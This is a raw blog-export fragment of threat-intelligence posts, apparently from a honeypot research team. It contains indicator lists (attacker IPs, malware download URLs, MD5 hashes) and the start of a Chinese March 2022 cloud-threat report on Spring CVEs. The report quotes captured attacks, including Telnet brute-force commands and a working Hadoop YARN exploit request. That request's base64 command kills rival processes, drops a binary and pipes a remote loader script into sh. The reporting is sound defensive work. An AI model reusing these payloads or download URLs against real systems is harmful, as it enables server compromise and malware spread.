\n23.129.64.149 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.210 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.211 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.212 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.213 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.214 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.215 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.216 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.217 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.218 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.219 \tUnited States \tAS396507 \tEMERALD-ONION \n23.129.64.250 \tUnited States \tAS396507 \tEMERALD-ONION \n23.154.177.6 \tUnited States \tAS399532 \tULAYER-ASN \n23.154.177.7 \tUnited States \tAS399532 \tULAYER-ASN \n23.239.21.195 \tUnited States \tAS63949 \tLINODE-AP \n27.102.106.117 \tSouth Korea \tAS45996 \tGNJ-AS-KR \n37.187.18.212 \tFrance \tAS16276 \tOVH \n37.187.96.183 \tFrance \tAS16276 \tOVH \n43.128.201.239 \tThailand \tAS132203 \tTENCENT-NET-AP-CN \n43.242.116.54 \tIndia \tAS45916 \tGTPL-AS-AP \n45.15.16.105 \tSweden \tAS42675 \tOBEHOSTING \n45.32.251.86 \tJapan \tAS20473 \tAS-CHOOPA \n45.33.101.246 \tUnited States \tAS63949 \tLINODE-AP \n45.61.186.160 \tUnited States \tAS53667 \tPONYNET \n45.78.48.51 \tJapan \tAS25820 \tIT7NET \n45.128.133.242 \tBelgium \tAS206804 \tEstNOC-GLOBAL \n45.129.56.200 \tDenmark \tAS39351 \tESAB-AS \n45.136.15.239 \tChina \tAS139659 \tLUCID-AS-AP \n45.153.160.2 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.153.160.132 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.153.160.136 \tThe Netherlands \tAS212906 \tmoneroj-ca \n45.154.255.138 \tSweden \tAS41281 \tKEFF \n45.154.255.139 \tSweden \tAS41281 \tKEFF \n45.154.255.147 \tSweden \tAS41281 \tKEFF \n46.166.139.111 \tThe Netherlands \tAS43350 \tNFORCE \n46.175.146.159 The Netherlands AS50673 Serverius-as \n46.232.251.191 \tGermany \tAS197540 \tnetcup-AS \n51.15.76.60 \tThe Netherlands \tAS12876 \tAS12876 \n51.77.52.216 \tPoland \tAS16276 \tOVH \n58.82.211.226 \tChina \tAS137872 PEOPLESPHONE-HK \t \n58.240.81.135 \tChina \tAS4837 \tCHINA169-Backbone \n60.248.106.229 \tChina \tAS3462 \tHINET \n62.102.148.68 \tSweden \tAS51815 \tTEKNIKBYRAN \n62.102.148.69 \tSweden \tAS51815 \tTEKNIKBYRAN \n64.113.32.29 \tUnited States \tAS15154 \tSBBSNET \n66.220.242.222 \tUnited States \tAS17356 \tVERMONT-TELE \n74.82.47.194 \tUnited States \tAS6939 \tHURRICANE \n81.17.18.59 \tSwitzerland \tAS51852 \tPLI-AS \n81.17.18.62 \tSwitzerland \tAS51852 \tPLI-AS \n85.93.218.204 \tLuxembourg \tAS9008 \tASN-VO \n85.204.116.204 \tRomania \tAS48874 \tHOSTMAZE \n87.120.37.231 \tBulgaria \tAS34224 \tNETERRA-AS \n89.58.27.84 \tGermany \tAS197540 netcup GmbH \t \n89.163.131.159 \tGermany \tAS24961 \tMYLOC-AS \n89.163.131.160 \tGermany \tAS24961 \tMYLOC-AS \n91.132.147.168 \tGermany \tAS197540 \tnetcup-AS \n91.149.225.172 \tNorway \tAS58110 \tIPVOLUME \n91.211.89.43 \tUkraine \tAS206638 \thostfory \n91.211.89.107 \tUkraine \tAS206638 \thostfory \n91.211.89.207 \tUkraine \tAS206638 \thostfory \n91.250.242.12 \tRomania \tAS6718 \tNAV \n92.246.84.133 \tGermany \tAS44592 \tSkyLink \n93.95.226.212 \tIceland \tAS44925 \tTHE-1984-AS \n93.174.89.132 \tThe Netherlands \tAS202425 \tINT-NETWORK \n93.179.115.27 \tUnited States \tAS25820 \tIT7NET \n94.140.114.210 \tLatvia \tAS43513 \tNANO-AS \n101.37.159.147 \tChina \tAS37963 \tCNNIC-ALIBABA-CN-NET-AP\n103.27.108.196 \tChina \tAS132883 \tTOPWAY-AS-AP \n103.42.196.135 \tIndia \tAS138754 KVBPL-AS-IN \t \n103.42.196.203 \tIndia \tAS138754 KVBPL-AS-IN \t \n103.108.193.24 \tChina \tAS139021 \tWEST263GO-HK \n103.140.186.68 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.140.186.72 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.140.186.73 \tSingapore \tAS206804 \tEstNOC-GLOBAL \n103.214.146.5 \tChina \tAS135330 \tADCDATACOM-AS-AP \n103.253.41.98 \tChina \tAS133398 \tTELE-AS \n104.244.72.115 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.13 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.44 \tLuxembourg \tAS53667 \tPONYNET \n104.244.76.170 \tLuxembourg \tAS53667 \tPONYNET \n104.244.77.101 \tLuxembourg \tAS53667 \tPONYNET \n107.189.5.249 \tLuxembourg \tAS53667 \tPONYNET \n109.70.100.19 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.31 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.82 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.70.100.84 \tAustria \tAS208323 \tAPPLIEDPRIVACY-AS \n109.201.133.100 \tThe Netherlands \tAS43350 \tNFORCE \n111.252.183.41 \tChina \tAS3462 \tHINET \n111.252.198.28 \tChina \tAS3462 \tHINET \n112.5.154.7 \tChina \tAS9808 \tCMNET-GD \n112.36.205.252 \tChina \tAS24444 \tCMNET-V4shandong-AS-AP\n112.169.175.24 \tSouth Korea \tAS131477 \tSHHJ-AS \n119.86.148.176 \tChina \tAS4134 \tCHINANET-BACKBONE \n124.222.23.106 \tChina \tAS45090 \tCNNIC-TENCENT-NET-AP\n128.31.0.13 \tUnited States \tAS3 \tMIT-GATEWAYS \n141.164.43.95 \tSouth Korea \tAS20473 \tAS-CHOOPA \n142.4.206.84 \tCanada \tAS16276 \tOVH \n143.198.131.158 \tUnited States \tAS14061 \tDIGITALOCEAN-ASN \n144.172.73.66 \tUnited States \tAS212513 \tSTELZL-AS \n144.202.116.138 \tUnited States \tAS20473 \tAS-CHOOPA \n144.217.86.109 \tCanada \tAS16276 \tOVH \n146.19.174.33 \tChina \tAS147293 \tNEAROUTE-AS-AP \n146.59.233.33 \tFrance \tAS16276 \tOVH \n151.80.148.159 \tFrance \tAS16276 \tOVH \n159.223.73.101 \tSingapore \tAS14061 \tDIGITALOCEAN-ASN \n162.247.74.7 \tUnited States \tAS4224 \tCALYX-AS \n164.92.65.110 \tUnited States \tAS14061 \tDIGITALOCEAN-ASN \n164.132.9.199 \tFrance \tAS16276 \tOVH \n166.70.207.2 \tUnited States \tAS6315 \tXMISSION \n167.71.238.228 \tIndia \tAS14061 \tDIGITALOCEAN-ASN \n167.99.76.46 \tSingapore \tAS14061 \tDIGITALOCEAN-ASN \n168.62.22.238 \tUnited States \tAS8075 \tMICROSOFT-CORP-MSN-AS-BLOCK\n171.25.193.20 \tGermany \tAS198093 \tDFRI-AS \n171.25.193.25 \tGermany \tAS198093 \tDFRI-AS \n171.25.193.77 \tGermany \tAS198093 \tDFRI-AS \n171.25.193.78 \tGermany \tAS198093 \tDFRI-AS \n172.104.93.152 \tJapan \tAS63949 \tLINODE-AP \n172.104.140.107 \tGermany \tAS63949 \tLINODE-AP \n172.104.159.48 \tGermany \tAS63949 \tLINODE-AP \n172.107.241.110 \tUnited States \tAS40676 \tAS40676 \n172.245.89.109 \tUnited States \tAS36352 \tAS-COLOCROSSING \n175.178.154.77 \tChina \tAS45090 \tCNNIC-TENCENT-NET-AP\n178.17.170.135 \tMoldova \tAS43289 \tTRABIA \n178.17.171.102 \tMoldova \tAS43289 \tTRABIA \n178.17.174.14 \tMoldova \tAS43289 \tTRABIA \n178.20.55.18 \tFrance \tAS29075 \tIELO \n182.255.45.211 \tChina \tAS6134 \tXNNET \n185.34.33.2 \tFrance \tAS28855 \tOCTOPUCE-AS \n185.36.81.95 \tLithuania \tAS133398 \tTELE-AS \n185.38.175.130 \tDenmark \tAS205235 \tLABITAT \n185.38.175.131 \tDenmark \tAS205235 \tLABITAT \n185.56.80.65 \tThe Netherlands \tAS43350 \tNFORCE \n185.82.126.13 \tLatvia \tAS52173 \tMAKONIX \n185.83.214.69 \tPortugal \tAS58110 \tIPVOLUME \n185.100.86.74 \tFinland \tAS200651 \tFlokiNET \n185.100.86.128 \tFinland \tAS200651 \tFlokiNET \n185.100.87.41 \tRomania \tAS200651 \tFlokiNET \n185.100.87.133 \tRomania \tAS200651 \tFlokiNET \n185.100.87.174 \tRomania \tAS200651 \tFlokiNET \n185.100.87.202 \tRomania \tAS200651 \tFlokiNET \n185.105.90.134 \tRussia \tAS205090 \tFIRST-SERVER-EUROPE \n185.107.47.171 \tThe Netherlands \tAS43350 \tNFORCE \n185.107.47.215 \tThe Netherlands \tAS43350 \tNFORCE \n185.107.70.56 \tThe Netherlands \tAS43350 \tNFORCE \n185.112.147.12 \tIceland \tAS44925 \tTHE-1984-AS \n185.129.62.62 \tDenmark \tAS57860 \tZENCURITY-NET \n185.163.119.0 \tGermany \tAS197540 \tnetcup-AS \n185.165.171.40 \tRomania \tAS200651 \tFlokiNET \n185.165.171.84 \tRomania \tAS200651 \tFlokiNET \n185.170.114.25 \tGermany \tAS197540 \tnetcup-AS \n185.174.101.214 \tUnited States \tAS8100 \tASN-QUADRANET-GLOBAL\n185.220.100.240 \tGermany \tAS205100 \tF3NETZE \n185.220.100.241 \tGermany \tAS205100 \tF3NETZE \n185.220.100.242 \tGermany \tAS205100 \tF3NETZE \n185.220.100.243 \tGermany \tAS205100 \tF3NETZE \n185.220.100.244 \tGermany \tAS205100 \tF3NETZE \n185.220.100.245 \tGermany \tAS205100 \tF3NETZE \n185.220.100.246 \tGermany \tAS205100 \tF3NETZE \n185.220.100.247 \tGermany \tAS205100 \tF3NETZE \n185.220.100.248 \tGermany \tAS205100 \tF3NETZE \n185.220.100.249 \tGermany \tAS205100 \tF3NETZE \n185.220.100.250 \tGermany \tAS205100 \tF3NETZE \n185.220.100.251 \tGermany \tAS205100 \tF3NETZE \n185.220.100.252 \tGermany \tAS205100 \tF3NETZE \n185.220.100.253 \tGermany \tAS205100 \tF3NETZE \n185.220.100.254 \tGermany \tAS205100 \tF3NETZE \n185.220.100.255 \tGermany \tAS205100 \tF3NETZE \n185.220.101.6 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.22 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.32 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.33 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.34 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.35 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.36 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.37 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.38 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.39 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.40 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.41 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.42 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.43 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.44 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.45 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.46 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.47 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.48 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.49 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.50 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.51 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.52 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.53 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.54 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.55 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.56 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.57 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.58 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.59 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.60 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.61 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.62 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.63 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.102.240 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.245 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.249 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.254 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.103.7 \tUnited States \tAS4224 \tCALYX-AS \n185.226.67.169 \tGreece \tAS205053 \tAweb-ASN \n185.243.218.27 \tNorway \tAS56655 \tTERRAHOST \n185.246.188.95 \tBelgium \tAS3164 \tASTIMP-IT \n185.247.226.98 \tIceland \tAS200651 \tFlokiNET \n185.254.75.32 \tGermany \tAS3214 \tXTOM \n188.68.58.0 \tGermany \tAS197540 \tnetcup-AS \n192.42.116.23 \tThe Netherlands \tAS1101 \tIP-EEND-AS \n193.31.24.154 \tGermany \tAS197540 \tnetcup-AS \n193.110.95.34 \tSwitzerland \tAS13030 \tINIT7 \n193.111.199.64 \tGermany \tAS24961 \tMYLOC-AS \n193.218.118.95 \tUkraine \tAS207656 \tEPINATURA \n193.218.118.183 \tUkraine \tAS207656 \tEPINATURA \n193.218.118.231 \tUkraine \tAS207656 \tEPINATURA \n194.31.98.186 \tThe Netherlands \tAS213035 \tAS-SERVERION \n194.233.77.245 \tSingapore \tAS141995 \tCAPL-AS-AP \n195.176.3.19 \tSwitzerland \tAS559 \tSWITCH \n195.176.3.23 \tSwitzerland \tAS559 \tSWITCH \n198.54.128.102 \tUnited States \tAS11878 \tTZULO \n198.98.51.189 \tUnited States \tAS53667 \tPONYNET \n198.98.57.207 \tUnited States \tAS53667 \tPONYNET \n198.144.121.43 \tThe Netherlands \tAS206264 \tAMARUTU-TECHNOLOGY \n199.195.248.29 \tUnited States \tAS53667 \tPONYNET \n199.195.254.81 \tUnited States \tAS53667 \tPONYNET \n199.249.230.87 \tUnited States \tAS62744 \tQUINTEX \n203.175.13.118 \tChina \tAS141677 \tNATHOSTS-AS-AP \n204.8.156.142 \tUnited States \tAS10961 \tBGP-AS \n205.185.117.149 \tUnited States \tAS53667 \tPONYNET \n205.185.124.178 \tUnited States \tAS53667 \tPONYNET \n209.141.41.103 \tUnited States \tAS53667 \tPONYNET \n209.141.44.64 \tUnited States \tAS53667 \tPONYNET \n209.141.45.189 \tUnited States \tAS53667 \tPONYNET \n209.141.46.81 \tUnited States \tAS53667 \tPONYNET \n209.141.46.203 \tUnited States \tAS53667 \tPONYNET \n209.141.54.195 \tUnited States \tAS53667 \tPONYNET \n209.141.55.26 \tUnited States \tAS53667 \tPONYNET \n209.141.57.178 \tUnited States \tAS53667 \tPONYNET \n209.141.58.146 \tUnited States \tAS53667 \tPONYNET \n209.141.60.19 \tUnited States \tAS53667 \tPONYNET \n210.217.18.88 \tSouth Korea \tAS4766 \tKIXS-AS-KR \n211.20.42.23 \tChina \tAS3462 \tHINET \n212.107.30.157 \tChina \tAS41378 \tKirinoNET \n213.61.215.54 \tGermany \tAS8220 \tCOLT \n213.164.204.146 \tSweden \tAS8473 \tBAHNHOF \n217.138.199.93 \tCzech Republic \tAS9009 \tM247 \n```\n\n\nURL\n```\nhttp://107.174.133.167/gmpsl\nhttp://107.174.133.167/gi686\nhttp://107.174.133.167/garm\nhttp://107.174.133.167/gmips\nhttp://107.174.133.167/garm7\nhttp://107.174.133.167/gx86\nhttp://107.174.133.167/t.sh\nhttp://107.174.133.167/garm6\nhttp://107.174.133.167/garm5\nhttp://15.185.213.122:65123/javac\nhttp://15.185.213.122:65123\nbase64://be3f78b59fa14140b6cc8633bf705a75\nhttp://15.185.213.122:65123/java\nbase64://c08fec5682085417b0a039bdf47c38f2\n```\n\nMD5\n```\n4bcd19351697d04fb357ce5b36600207\n7d244e7bf48d6631b588cecae87e759d\n9c14d670a48bba4b7c047a01d417f8f2\n97a7a357b8290a7236a5fbf45f17569f\n7621f1a5e8db18f3ae30031122c9c397\n100674f1e3ecfb6fa244de4ba7fd2ae2\n329155ab45e244661a7725d81dfad740\n611630a580e33017be32de8c72625489\n650152a2fe78dfceceb4d1a1fdeaccb8\n400590515f0f1cf942fe734126be94e7\na8a36132632366c7f65066b23d6f7e4f\nb1124c862998bc4ab3ff8b1d471310a6\ncca63413e3ca6b834b6a4446768c5ccb\ndcc157b2c284ac676000d64dd33f3ec4\ne1190f07a6da91caaa317affc9512caa\neba95249cf0a51e300d7b6029cf7088e\nfb63e9a23dbf4124116471fcf3254283\nfd839753ca4d89c0ccd229b12f95827c\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6247132fa5c41b00078fd219 |
post | null | 2022-04-02T08:47:57.000Z | 63873b9a8b1c1e0007f53014 | public-cloud-threat-intelligence-202203 | 0 | 2022-06-24T03:45:15.000Z | public | published | null | 2022-04-19T02:24:17.000Z | 公有云网络安全威胁情报(202203) | <h3 id="-">概述</h3><blockquote>本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。</blockquote><ul><li><a href="https://netlab.360.com/zh/honeypot">360高级威胁狩猎蜜罐系统</a>发现全球12万个云服务器IP,进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内156家单位的服务器IP,涉及大型央企、政府机关等行业。</li><li>Spring厂商连续公开3个关键漏洞,CVE-2022-22947、CVE-2022-22963、CVE-2022-22965,本文将对前两个漏洞进行细节分析,第三个漏洞细节<a href="__GHOST_URL__/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory/">点此查看</a>。</li><li>本月共记录威胁攻击8亿次有余(其中包括漏洞攻击7.4亿余次、传播恶意软件超5500万次),新增IoC累计68万余个,其中针对IoT设备的漏洞攻击呈上升趋势。</li></ul><h3 id="--1">云上重点资产扫描攻击</h3><blockquote>三月份,我们共监测到全国156个公有云重点资产存在异常扫描及攻击行为。</blockquote><p>随着业务不断上云,发生在公有云平台上的网络安全事件和威胁数量居高不下,国内重点行业包括但不限于我国的科研机构、大型企业、政府及事业单位成为攻击者的重点攻击对象,合计攻击源156个。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-54.png" class="kg-image" alt loading="lazy"></figure><p>根据所属云服务商来源,我们发现我国重点IP的云服务商以阿里云使用为主,其次为腾讯云。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-51.png" class="kg-image" alt loading="lazy"></figure><p>从漏洞利用的角度来看,攻击者主要通过SSH暴力破解、Gitlab远程命令执行漏洞、Redis远程命令执行的漏洞攻击方式对我国公有云重点IP进行攻击。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-52.png" class="kg-image" alt loading="lazy"></figure><p>下表为其中部分案例:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-29.png" class="kg-image" alt loading="lazy"></figure><p>案例1:位于北京的IP地址为39.101.*.* 的阿里云服务器,属于***联络处,访问对应域名可进入该单位**平台,其IP在3月上旬对蜜罐节点存在Telnet暴力破解行为:</p><pre><code>��telnetadmin
telnetadmin
enable
system
shell
sh
/bin/busybox IZ1H9
</code></pre><p>案例2:位于上海的IP地址为118.89.*.*的腾讯云IP属于***办公室,该IP有Apache Tomcat暴力破解,ThinkPHP漏洞, Hadoop YARN ResourceManager未授权访问漏洞等5个漏洞利用或暴力破解的恶意行为,并传播了TrojanDownloader类的恶意软件,以Hadoop YARN ResourceManager未授权访问漏洞为例,攻击Payload如下所示:</p><pre><code>POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3742
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{
"application-id": "application_1526990652950_72948",
"application-name": "i24jndw5",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KZm9yIGkgaW4gMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMTtkbyBwcyAtZWZ8Z3JlcCAtdiBmYzZifGdyZXAgJ2ZjNmJcfGVwIGN1clx8ZXAgd2dlXHxlcCBpbXAnfGF3ayAne3ByaW50ICQzfSd8eGFyZ3MgLUkgJSBraWxsIC05ICU7ZG9uZQoKcGtpbGwgLTkgLWYgJ3NvXC50eHQnCnBraWxsIC05IC1mICdiYXNoIC1zIDM2NzMnCnBraWxsIC05IC1mIDgwMDUvY2M1CnBraWxsIC05IC1mIHJlYWRka2sKcGtpbGwgLTkgLWYgJ2ZsdWVuY2UvaW5zdGFsbFwuc2gnCnBraWxsIC05IHJlYWRkaQpwa2lsbCAtOSBsYWJraWxsCnBraWxsIC05IGp1aWNlU1NICnBraWxsIC05IHBvc3RncmVzd2sKcGtpbGwgLTkgcG9sc2thCnBraWxsIC05IC1mICdcLi9cLicKcGtpbGwgLTkgLWYgJy90bXAvXC4nCnBraWxsIC05IC1mIGtlcm5lbHgKcGtpbGwgLTkgLWYgZ3Jlcy1zeXN0ZW0KcGtpbGwgLTkgLWYgZ3Jlcy1rZXJuZWwKcGtpbGwgLTkgLWYgcGFzdGViaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgImJpbi9wZXJsXHwvZGV2L3NobSI7IHRoZW4KICAgIGtpbGwgLTkgJGkKICBmaQpkb25lCgppZiBbICEgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgLWEgISAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgY2QgL3RtcCB8fCBjZCAvdmFyL3RtcAogIGNoYXR0ciAtaSBkOyBjaGF0dHIgLWkgZGxyOyBybSAtcmYgZCBkbHIKICBlY2hvIGYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBSklNRUNEUUFBQURNQXdBQUFBQUFBRFFBSUFBREFDZ0FCUUFFQUFFQUFBQUFBQUFBQUlBRUNBQ0FCQWlyQXdBQXF3TUFBQVVBQUFBQUVBQUFBUUFBQUt3REFBQ3Nrd1FJckpNRUNBQUFBQUFFQUFBQUJnQUFBQUFRQUFCUjVYUmtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQUJBQUFBRldKNVErMlZRZ1B0a1VNRDdaTkVNSGlHTUhnRUFuQ0Q3WkZGTUhoQ0YwSndnblJpY3FKeUlIaUFQOEFBTUhpQ01IZ0dBblFpY3FCNFFBQS93REI2aGpCNlFnSnlnblF3MVdKNVlQc0VQOTFDR29CNkVRQ0FBQ0R4QkRKdzFXSjVZUHNFUDkxQ0dvRzZDOENBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29GNkJjQ0FBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQTJwbTZQQUJBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29FNk5nQkFBREp3MVdKNVlQc0NQOTFFUDkxRFA5MUNHb0Q2TUFCQUFESncxV0o1WVBzSEl0RkNJbEY5SXRGRElsRitJdEZFSWxGL0kxRjlGQnFBV3BtNkprQkFBREp3MVc0ZllNRUNJbmxWMVpUZ2V5c0FBQUE2d0ZBZ0RnQWRmb3RmWU1FQ0ltRlVQLy8vMUJxQW1pRGd3UUlhZ0hvZHYvLy8yb1ZhT01BQUFCb2tRQUFBR2pDQUFBQVpzZEY0QUlBWnNkRjRnQlE2S2IrLy8rRHhCeG8vd0VBQUdoQkFnQUFhSWFEQkFpSlJlVG8rLzcvLzRQRURHb0FhZ0ZxQW9uSDZGci8vLytEeEJDRCtQK0p4blFGZy8vL2RRMkQ3QXhxQWVpci92Ly9nOFFRVUdvUWpVWGdVRmJvMnY3Ly80UEVFSVhBaWNONUhGRDMyMm9CYUlxREJBaHFBZWpuL3YvL2lSd2s2SG4rLy8rRHhCQ0xuVkQvLy85UWc4TVhVMmlNZ3dRSVZ1akcvdi8vZzhRUU9kaDBEWVBzREdvRDZFLysvLytEeEJBeDIxQnFBWTFGODFCVzZMdisvLytEeEJCSWRBMkQ3QXhxQk9ndC92Ly9nOFFRRDc1Rjg4SGpDQW5EZ2ZzS0RRb05kYzlSYUlBQUFBQ05uV0QvLy85VFZ1aUUvdi8vZzhRUWhjQitEbEpRVTFmb1hQNy8vNFBFRU92WWcrd01WdWo5L2YvL2lUd2s2UFg5Ly8rRHhBeHFBV2lwZ3dRSWFnSG9OZjcvLzhjRUpBVUFBQURvdy8zLy80UEVFSTFsOUZ0ZVgxM0RWWW5sWGVscy92Ly9rSkNRVlZkV1U0dHNKQ3lMZkNRb2kzUWtKSXRVSkNDTFRDUWNpMXdrR0l0RUpCVE5nRnRlWDEwOUFmRC8vdytEQVFBQUFNT0Q3QXlKd3ZmYTZBa0FBQUNKRUlQSS80UEVETU80ckpNRUNNTmhiV1EyTkFBakNnQmtiSElBUHdCSFJWUWdMMk4xY213dFlXMWtOalFnU0ZSVVVDOHhMakFOQ2cwS0FDTUFBQUF1YzJoemRISjBZV0lBTG5SbGVIUUFMbkp2WkdGMFlRQXVZbk56QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXNBQUFBQkFBQUFCZ0FBQUpTQUJBaVVBQUFBNlFJQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBUkFBQUFBUUFBQURJQUFBQjlnd1FJZlFNQUFDNEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFHUUFBQUFnQUFBQURBQUFBckpNRUNLd0RBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFFQUFBQURBQUFBQUFBQUFBQUFBQUNzQXdBQUhnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQT18YmFzZTY0IC1kID4gZAogIGNobW9kICt4IGQ7IC4vZHx8Li9kOyBybSAtZiBkOyBjaG1vZCAreCBkbHIKZmkKCihjdXJsICRjfHxjdXJsICRjfHx3Z2V0IC1xIC1PLSAkY3x8Y3VybCAtayAkY3x8Y3VybCAtayAkY3x8d2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xIC1PLSAkY3x8Li9kbHIgJGN8fC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
"application-type": "YARN"
}</code></pre><h3 id="--2">热门漏洞攻击</h3><blockquote>2022年3月1日,Spring厂商发布高危漏洞CVE-2022-22947,可能使其应用程序受到代码注入攻击。同月24日再次公开漏洞CVE-2022-22963,该漏洞影响JDK 9+上的SpringMV及WebFlux应用程序,我们发现攻击者正在利用该漏洞传播恶意软件。</blockquote><p><strong>(1)Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)</strong></p><!--kg-card-begin: markdown--><p><strong>漏洞信息</strong></p>
<ul>
<li>影响范围:Spring Cloud Gateway 3.1.0、3.0.0-3.0.6及不受支持的旧版本</li>
<li>CVE编号:CVE-2022-22947</li>
<li>披露日期:2022.03.01</li>
<li>CVSS 3.0评分:10.0</li>
<li>影响设备量级:千万级</li>
</ul>
<!--kg-card-end: markdown--><p>下图为该漏洞的攻击源IP与会话数量趋势,我们发现攻击者IP的数量和攻击者尝试利用该漏洞的次数呈现上升趋势。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-37.png" class="kg-image" alt loading="lazy"></figure><p>漏洞详情及补救措施<a href="https://tanzu.vmware.com/security/cve-2022-22947">点此查看</a>,以下是该漏洞的技术细节分析。</p><h4 id="--3">[漏洞补丁]</h4><p>在spring-cloud-gateway-server/src/main/java/org/springframework/ cloud/gateway/support/ShortcutConfigurable.java中,将getValue函数中的StandardEvaluationContext替换为GatewayEvaluationContext修复SpEL表达式注入:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112458040.png" class="kg-image" alt loading="lazy"></figure><h4 id="--4">[漏洞分析]</h4><p>查看函数getValue的调用,在RouteDefinitionLocator函数中,根据RouteDefinition提取GatewayFilter:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112517737.png" class="kg-image" alt loading="lazy"></figure><p>根据官方文档,通过Actuator API可创建路由:</p><figure class="kg-card kg-image-card"><img 